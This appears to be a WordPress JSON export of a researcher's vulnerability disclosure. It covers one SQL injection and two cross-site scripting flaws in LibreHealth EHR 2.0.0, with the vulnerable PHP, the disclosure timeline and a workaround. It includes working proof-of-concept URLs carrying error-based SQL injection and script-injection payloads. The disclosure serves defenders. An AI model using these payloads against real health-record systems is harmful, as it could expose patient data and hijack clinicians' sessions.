{"id":160,"date":"2022-05-04T03:45:49","date_gmt":"2022-05-03T21:45:49","guid":{"rendered":"https:\/\/murat.one\/?p=160"},"modified":"2022-05-04T03:48:26","modified_gmt":"2022-05-03T21:48:26","slug":"multiple-critical-vulnerabilities-in-librehealth-ehr-2-0-0","status":"publish","type":"post","link":"https:\/\/murat.one\/?p=160","title":{"rendered":"Multiple vulnerabilities in LibreHealth EHR 2.0.0"},"content":{"rendered":"\n<p class=\"justifier\">I have found several vulnerabilities in open-source system <a rel=\"noreferrer noopener\" href=\"https:\/\/librehealth.io\/\" data-type=\"URL\" data-id=\"https:\/\/librehealth.io\/\" target=\"_blank\">LibreHealth EHR 2.0.0<\/a>. More precisely 1 SQL-injection (CVE-2022-29938) and 2 Cross-site scripting (XSS) (CVE-2022-29939, CVE-2022-29940) vulnerabilities.<\/p>\n\n\n\n<p class=\"justifier\">All these vulnerabilities requires authentication. There is no patch, so these are zero-day vulnerabilities \ud83d\ude42 But you can find temporary workaround on the end of this paper.<\/p>\n\n\n\n<p><strong>1. SQL-injection via parameter payment_id (CVE-2022-29938)<\/strong><\/p>\n\n\n\n<p class=\"justifier\">Lack of sanitization of the GET parameter <strong>payment_id <\/strong>in <strong>interface\\billing\\new_payment.php<\/strong> via <strong>interface\\billing\\payment_master.inc.php<\/strong> leads to SQL injection.<\/p>\n\n\n\n<p>Vulnerable code is in file \\librehealth_host\\interface\\billing\\payment_master.inc.php:77<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...\nif($payment_id&gt;0)\n {\n    $rs= sqlStatement(\"select pay_total,global_amount from ar_session where session_id='$payment_id'\");\n    $row=sqlFetchArray($rs);\n...<\/code><\/pre>\n\n\n\n<p class=\"justifier\">And the request parameter is catched in file \\librehealth_host\\interface\\billing\\new_payment.php:49<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...\n$payment_id              = isset($_REQUEST&#91;'payment_id'])          ? $_REQUEST&#91;'payment_id']          : '';\n...<\/code><\/pre>\n\n\n\n<p>Proof-of-concept:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;librehealth_host\/interface\/billing\/new_payment.php?payment_id=1%27and(extractvalue(0x0a,concat(0x0a,(user()))))--+a<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large justifier\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"358\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/sqli_1-1024x358.jpg\" alt=\"\" class=\"wp-image-161\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/sqli_1-1024x358.jpg 1024w, https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/sqli_1-300x105.jpg 300w, https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/sqli_1-768x269.jpg 768w, https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/sqli_1.jpg 1407w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><strong>2. Cross-Site Scripting (XSS) (CVE-2022-29939)<\/strong><\/p>\n\n\n\n<p class=\"justifier\">Lack of sanitization of the GET parameters <strong>debug <\/strong>and <strong>InsId <\/strong>in <strong>interface\\billing\\sl_eob_process.php<\/strong> leads to multiple cross-site scripting (XSS) vulnerabilities.<\/p>\n\n\n\n<p>Vulnerable code is in file \\librehealth_host\\interface\\billing\\sl_eob_process.php:592<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...\n&lt;input type=\"hidden\" name=\"debug\" value=\"&lt;?php echo $_REQUEST&#91;'debug'];?&gt;\" \/&gt;\n&lt;input type=\"hidden\" name=\"InsId\" value=\"&lt;?php echo $_REQUEST&#91;'InsId'];?&gt;\" \/&gt;\n...<\/code><\/pre>\n\n\n\n<p>Proof-of-concept:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;librehealth_host\/interface\/billing\/sl_eob_process.php?eraname=1&amp;debug=1%22%3E%3Cscript%3Ealert(%27true%20xss%27);%3C\/script%3E%3C!--\nhttp:\/\/librehealth_host\/interface\/billing\/sl_eob_process.php?eraname=1&InsId=1%22%3E%3Cscript%3Ealert(%27insid%20true%20xss%27);%3C\/script%3E%3C!--\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large justifier\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"289\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/xss1-1024x289.jpg\" alt=\"\" class=\"wp-image-162\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/xss1-1024x289.jpg 1024w, https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/xss1-300x85.jpg 300w, https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/xss1-768x217.jpg 768w, https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/xss1.jpg 1382w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><strong>3. Cross-Site Scripting (XSS) (CVE-2022-29940)<\/strong><\/p>\n\n\n\n<p class=\"justifier\">Lack of sanitization of the GET parameters <strong>formseq <\/strong>and <strong>formid <\/strong>in <strong>interface\\orders\\find_order_popup.php<\/strong> leads to multiple cross-site scripting (XSS) vulnerabilities.<\/p>\n\n\n\n<p>Vulnerable code is in file \\librehealth_host\\interface\\orders\\find_order_popup.php:91<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...\nfunction selcode(typeid) {\n location.href = 'find_order_popup.php&lt;?php\necho \"?order=$order&amp;labid=$labid\";\nif (isset($_GET&#91;'formid' ])) echo '&amp;formid='  . $_GET&#91;'formid'];\nif (isset($_GET&#91;'formseq'])) echo '&amp;formseq=' . $_GET&#91;'formseq'];\n?&gt;&amp;typeid=' + typeid;\n return false;\n}\n...<\/code><\/pre>\n\n\n\n<p>Proof-of-concept:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;librehealth_host\/interface\/orders\/find_order_popup.php?formid=123%27;}alert(123);function%20nt(typeid){var%20t=%27\nhttp:\/\/librehealth_host\/interface\/orders\/find_order_popup.php?formseq=123%27;}alert(123);function%20nt(typeid){var%20t=%27\nhttp:\/\/librehealth_host\/interface\/orders\/find_order_popup.php?formseq=1%27%3E%3Cscript%3Ealert(123);%3C\/script%3E\nhttp:\/\/librehealth_host\/interface\/orders\/find_order_popup.php?formid=1%27%3E%3Cscript%3Ealert(123);%3C\/script%3E<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"328\" src=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/xss2-1024x328.jpg\" alt=\"\" class=\"wp-image-163\" srcset=\"https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/xss2-1024x328.jpg 1024w, https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/xss2-300x96.jpg 300w, https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/xss2-768x246.jpg 768w, https:\/\/murat.one\/wp-content\/uploads\/2022\/05\/xss2.jpg 1363w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><strong>Timeline of the vulnerabilities<\/strong>:<\/p>\n\n\n\n<p class=\"justifier\">04\/27\/2022 \u2013 initial discover and requesting CVE id&#8217;s from MITRE<br>04\/29\/2022 \u2013 MITRE was assigned CVE id&#8217;s<br>05\/01\/2022 &#8211; notification to vendor<br>05\/04\/2022 &#8211; vendor confirmed and allowed to publish write-up (because the project is now in migration process to Laravel, where I think default filters of framework will cut off a lot of vulnerabilities)<br>05\/04\/2022 &#8211; published<\/p>\n\n\n\n<p><strong>Workaround:<\/strong><\/p>\n\n\n\n<p class=\"justifier\">There is no patch for this vulnerabilities because of migration to more stable framework. But as temporary workaround I advice you to add <strong>htmlspecialchars()<\/strong> before every <strong>echo<\/strong> function to fix XSS, and pass the <strong>$payment_id<\/strong> through<strong> add_escape_custom() <\/strong>function before execution SQL query to fix SQL-injection.<\/p>\n\n\n\n<p class=\"justifier\">P.S. Special thanks to Robert O&#8217;Connor from LibreHealth team for quick responses.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I have found several vulnerabilities in open-source system LibreHealth EHR 2.0.0. More precisely 1 SQL-injection (CVE-2022-29938) and 2 Cross-site scripting (XSS) (CVE-2022-29939, CVE-2022-29940) vulnerabilities.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10,14],"tags":[30,29,18,15,16,24,32],"_links":{"self":[{"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts\/160"}],"collection":[{"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=160"}],"version-history":[{"count":3,"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts\/160\/revisions"}],"predecessor-version":[{"id":167,"href":"https:\/\/murat.one\/index.php?rest_route=\/wp\/v2\/posts\/160\/revisions\/167"}],"wp:attachment":[{"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=160"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/murat.one\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}